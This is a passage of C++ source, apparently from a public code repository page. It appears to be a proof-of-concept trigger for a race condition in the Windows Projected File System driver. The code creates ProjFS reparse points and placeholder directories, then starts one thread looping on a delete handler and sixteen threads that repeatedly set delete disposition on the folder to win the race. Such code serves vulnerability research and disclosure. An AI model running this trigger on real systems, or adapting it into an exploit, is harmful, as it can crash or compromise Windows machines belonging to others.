_PRJ_REPARSE_DATA* ReparseData = NULL;
|
||||||
|
|
||||||
|
ReparseData = CreateReparseData(L"dd", 0x10, &Length);
|
||||||
|
|
||||||
|
while (1) {
|
||||||
|
//CreateFileWithReparsePoint(&FileHandle, L"\\??\\c:\\PrjTest\\virtroot\\aa\\bb\\cc1", ReparseData, Length, 0xA0000022, false);
|
||||||
|
PrjDeleteFileHandler(ghPort);
|
||||||
|
Sleep(1);
|
||||||
|
//CreateFileWithReparsePoint(&FileHandle, L"\\??\\c:\\PrjTest\\virtroot\\aa\\bb\\cc1", ReparseData, Length, 0xA0000022, false);
|
||||||
|
|
||||||
|
//CreateFileW(L"c:\\PrjTest\\virtroot\\aa\\bb\\cc1", FILE_WRITE_ATTRIBUTES, 7u, 0i64, OPEN_ALWAYS, 0x2200000u, 0i64);
|
||||||
|
|
||||||
|
//CreateFileW(L"c:\\PrjTest\\virtroot\\aa\\bb\\cc12", FILE_WRITE_ATTRIBUTES, 7u, 0i64, OPEN_ALWAYS, 0x2200000u, 0i64);
|
||||||
|
|
||||||
|
//CreateFileWithReparsePoint(&FileHandle, L"\\??\\c:\\PrjTest\\virtroot\\aa\\bb\\cc12", ReparseData, Length, 0x9000001C, false);
|
||||||
|
|
||||||
|
//MoveFileExW(L"c:\\PrjTest\\virtroot\\aa\\bb\\cc12", L"c:\\PrjTest\\virtroot\\aa\\bb\\cc1", MOVEFILE_REPLACE_EXISTING);
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI Worker2(LPVOID lpParameter) {
|
||||||
|
|
||||||
|
HANDLE hFolder = OpenFolder(L"\\??\\c:\\PrjTest\\virtroot\\aa\\bb");
|
||||||
|
|
||||||
|
IO_STATUS_BLOCK IoStatusBlock = { 0 };
|
||||||
|
|
||||||
|
FILE_DISPOSITION_INFORMATION FileDispositionInfo = { 0 };
|
||||||
|
|
||||||
|
FileDispositionInfo.DeleteFile = 1;
|
||||||
|
|
||||||
|
while (1) {
|
||||||
|
NtSetInformationFile(hFolder, &IoStatusBlock, &FileDispositionInfo, 1u, FileDispositionInformation);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
void Trigger() {
|
||||||
|
BOOL bResult = FALSE;
|
||||||
|
HRESULT hr = 0;
|
||||||
|
USHORT Length = 0;
|
||||||
|
HANDLE FileHandle = NULL;
|
||||||
|
_PRJ_REPARSE_DATA* ReparseData = NULL;
|
||||||
|
_PRJ_REPARSE_DATA_BUFFER* pReparseDataBuffer = NULL;
|
||||||
|
|
||||||
|
//DeleteDirectory(L"c:\\PrjTest\\virtRoot\\aa\\bb");
|
||||||
|
|
||||||
|
CreateDirectoryW(L"c:\\PrjTest\\virtRoot\\aa", NULL);
|
||||||
|
|
||||||
|
//CreateDirectoryW(L"c:\\PrjTest\\virtRoot\\aa\\bb2", NULL);
|
||||||
|
|
||||||
|
ReparseData = CreateReparseData(L"dd", 0x10, &Length);
|
||||||
|
hr = CreateFileWithReparsePoint(&FileHandle, L"\\??\\c:\\PrjTest\\virtroot\\aa\\bb", ReparseData, Length, 0x9000001C, true);
|
||||||
|
CloseHandle(FileHandle);
|
||||||
|
|
||||||
|
GUID instanceId;
|
||||||
|
|
||||||
|
hr = CoCreateGuid(&instanceId);
|
||||||
|
|
||||||
|
hr = PrjMarkDirectoryAsPlaceholder(L"c:\\PrjTest\\virtroot",
|
||||||
|
L"c:\\PrjTest\\virtroot\\aa\\bb",
|
||||||
|
nullptr,
|
||||||
|
&instanceId);
|
||||||
|
if (FAILED(hr))
|
||||||
|
{
|
||||||
|
wprintf(L"Failed to mark virtualization root (0x%08x)\n", hr);
|
||||||
|
}
|
||||||
|
|
||||||
|
DeleteFileW(L"\\??\\c:\\PrjTest\\virtroot\\aa\\bb\\cc1");
|
||||||
|
|
||||||
|
hr = CreateFileWithReparsePoint(&FileHandle, L"\\??\\c:\\PrjTest\\virtroot\\aa\\bb\\cc1", ReparseData, Length, 0xA0000022, false);
|
||||||
|
CloseHandle(FileHandle);
|
||||||
|
|
||||||
|
//hr = CreateFileWithReparsePoint(&FileHandle, L"\\??\\c:\\PrjTest\\virtroot\\aa\\bb\\cc2", ReparseData, Length, 0xA0000022, false);
|
||||||
|
CloseHandle(FileHandle);
|
||||||
|
|
||||||
|
hr = CreateFileWithReparsePoint(&FileHandle, L"\\??\\c:\\PrjTest\\virtroot\\aa\\bb\\cc4", ReparseData, Length, 0x9000001C, true);
|
||||||
|
CloseHandle(FileHandle);
|
||||||
|
|
||||||
|
CreateThread(NULL, 0, Worker1, NULL, 0, NULL);
|
||||||
|
Sleep(3000);
|
||||||
|
|
||||||
|
for (int i = 0; i < 16; ++i) {
|
||||||
|
CreateThread(NULL, 0, Worker2, NULL, 0, NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Sleep(-1);
|
||||||
|
}
|
||||||
|
|
||||||
|
void Main()
|
||||||
|
{
|
||||||
|
|
||||||
|
CreateVirtualizationRoot();
|
||||||
|
StartVirtualizatioInstance();
|
||||||
|
PrintInstanceId();
|
||||||
|
PortInit();
|
||||||
|
|
||||||
|
Trigger();
|
||||||
|
}
|
||||||
|
|
||||||
|
int wmain(int argc, WCHAR* argv[])
|
||||||
|
{
|
||||||
|
Main();
|
||||||
|
//getchar();
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
|
||||||
|
PWSTR szCmdLine, int iCmdShow)
|
||||||
|
{
|
||||||
|
return wmain(__argc, __wargv);
|
||||||
|
}
|
||||||
Reference in New Issue
Block a user